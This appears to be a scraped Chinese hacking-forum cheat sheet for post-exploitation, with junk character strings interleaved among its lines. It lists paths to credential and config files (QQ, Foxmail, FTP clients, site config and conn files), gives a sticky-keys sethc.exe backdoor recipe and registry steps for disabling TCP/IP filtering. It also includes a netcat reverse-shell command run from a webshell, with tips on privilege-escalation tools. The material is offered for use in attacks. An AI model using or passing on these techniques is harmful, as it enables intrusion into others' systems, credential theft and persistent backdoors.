* S+ F( Y% R, u3 \! f) s/ F. MC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
8 l$ ?" L; B6 t% q! n6 Kc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
2 e- Z& p/ d8 Z* O# XC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
" O4 A0 N* N5 C# ^! ~c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
4 [! d: W5 c+ n  ~+ N, R- Jc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
* J9 v6 v0 J8 O% }
( [; {; ^# i) P, X3.网站相对路径:

/config.php
' `$ v: u* {1 V- s. \( _1 s../../config.php
../config.php
! ^$ x( E& D' @7 U9 @4 B. A1 O2 H8 m../../../config.php
/config.inc.php
./config.inc.php
! O* S2 I. J- U) z4 M0 V../../config.inc.php
../config.inc.php
, \- _- j) v& X: n0 B: g../../../config.inc.php
3 _! `/ x8 r) L' O/conn.php
./conn.php
../../conn.php
../conn.php
% h2 z7 `5 m$ m- y) J* o; C../../../conn.php
- o4 D7 P8 r/ h1 S/ i! g5 Y8 e/conn.asp
' L1 B% D& B- C- {" L2 e./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
! b% |( ]- k6 m& |0 p./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
( \) a" y3 |3 ~$ }+ g/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
3 H' \, s7 U5 C7 G7 m& f./config/config.inc.php
../../config/config.inc.php
1 W  ^/ _! X4 k../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
: W. l" F3 o: ]5 e8 [% I1 R../../config/conn.php
2 a$ v) u  Z  |+ l2 {0 V../config/conn.php
../../../config/conn.php
/config/conn.asp
( b. k- {6 u7 J7 W' n6 k./config/conn.asp
/ g4 _+ v- q) Y0 Z1 u5 P! d- w3 p../../config/conn.asp
2 y! A* ~- W' o../config/conn.asp
../../../config/conn.asp
3 u8 S2 B& J2 J4 [/ U2 y  @/config/config.inc.php
! I" }( p  M/ E$ m2 H./config/config.inc.php
3 j- [) ~$ a8 h6 E! E3 e../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
3 _( w8 X/ `) G- N/data/config.php
8 \3 b" s, R$ u- @# v! j../../data/config.php
../data/config.php
6 Z4 m1 d3 d! ^# N+ R../../../data/config.php
/data/config.inc.php
  X& X+ h: J) ?/ M' K) l./data/config.inc.php
4 L( ^2 K! a- j; N2 ?% ]../../data/config.inc.php
' B$ u- ?9 D% c* U) y5 |' @../data/config.inc.php
../../../data/config.inc.php
" m/ |) A% d' a( N+ `1 {/data/conn.php
./data/conn.php
5 O" A& P; J. @5 r2 s( P../../data/conn.php
../data/conn.php
../../../data/conn.php
2 p; E. ~1 O* ^6 i/data/conn.asp
./data/conn.asp
../../data/conn.asp
2 W! f: p+ N; n../data/conn.asp
, L9 ~: M( m- Y1 k8 X3 U4 c2 H4 C../../../data/conn.asp
/data/config.inc.php
  f6 Y' N; L- p/ ]" U! b- C! z./data/config.inc.php
../../data/config.inc.php
" j$ X+ ^8 c" }6 W/ L../data/config.inc.php
7 s: s+ U9 r2 ]../../../data/config.inc.php
/include/config.php
2 S& k+ J) }* C0 j1 A+ b$ ~../../include/config.php
8 ~; y" U5 m, `8 W" w$ i, B../include/config.php
../../../include/config.php
% L  ]' z+ I7 A  H/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
. p8 m  U( `9 g; E$ p7 m2 s* P/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
  D0 |4 a1 [+ }; o" H9 o4 n! P. \../../../include/conn.php
0 N# C! ]; R8 o- X0 \+ G" U/include/conn.asp
./include/conn.asp
& R' f  n) R8 ^4 H2 u../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
* h9 R" Q/ K; X! }2 s/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
: G/ N( ~- }# t) _" O../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
  E5 u  y1 N' p1 R$ Y9 @7 H* R../inc/config.php
0 a  U5 J/ F: x) W5 O../../../inc/config.php
  N+ A/ ^* k4 O  K- J7 }/inc/config.inc.php
. c9 D, K) U, Y$ y./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
/ {7 Y" `; `' f( S6 G( N../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
$ x" G% e( a6 [; ?../inc/conn.php
' z# y; Z' @4 U* E../../../inc/conn.php
) y, x  ^3 e* z- V/inc/conn.asp
3 d* R  m& m  [./inc/conn.asp
../../inc/conn.asp
) \$ n0 x8 N$ h/ R9 u$ v../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
' L9 d3 d: W# G../../inc/config.inc.php
+ R0 ^( V8 o8 w- V& e( v2 Y5 \../inc/config.inc.php
# D/ [6 n# u! ]! Q7 m. s% ^../../../inc/config.inc.php
  z3 P; A+ }5 O7 e1 F2 ^) N  ^/index.php
& o1 Q9 B8 e$ O* u* C9 \0 n  {: y./index.php
../../index.php
9 U6 N6 s( ]# j! s. J9 r5 S/ T../index.php
../../../index.php
/index.asp
$ e4 s. C7 A7 Y$ Z& f# c, n1 p./index.asp
../../index.asp
../index.asp
../../../index.asp
* [% f* g* P% |  c6 U替换SHIFT后门
1 k* v6 n. {. L% X3 k, }" ]　attrib c:\windows\system32\sethc.exe -h -r -s
* R- v' O$ ?! t# {+ z) E
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
& h6 o6 O# _/ r
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
- d$ F0 C  q5 T) g
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
" Z" j7 E+ t, T% o
% z# z( U/ R- E% Q% e8 f4 K8 l　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
4 X) @' L) Y2 Y$ l$ Q' fTCP/IP筛选在注册表里有三处，分别是：
0 D8 f0 G) U& O& K# A9 OHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
! d" P' x3 Y  `0 d, K4 |HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. s5 x2 c$ o3 a( T. T& k1 d
! k  l% t/ H  q# x+ ~分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ @0 N$ u+ J+ a6 [, W2 [* wregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
# G& `# ?* B. }3 N" W# a' b1 z命令来导出注册表项
& ~; w- f  S. o6 P# \
, K) u3 O4 z( S2 j+ J8 P6 u( |2 y然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
: f1 y* ]$ @6 D- G0 B3 U9 k
再将以上三个文件分别用
& R" D" z, ~3 H, b2 R. t( jregedit -s D:\a.reg
regedit -s D:\b.reg
; E! l* i& \# A6 y/ W; j7 U2 eregedit -s D:\c.reg
/ D8 R- H1 v! p' r* j导入注册表即可

. R& k. H  Q8 ]2 O! ]webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
% e* z0 z2 l# r& A" ^* ]"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
4 A( [  A/ t. @  e通常都不会成功。
) F& Z4 ~' W! v# ]  ]
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
/ W$ _; R9 Z* F6 S6 L这个不是重点
( M) ?; P: V* B我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功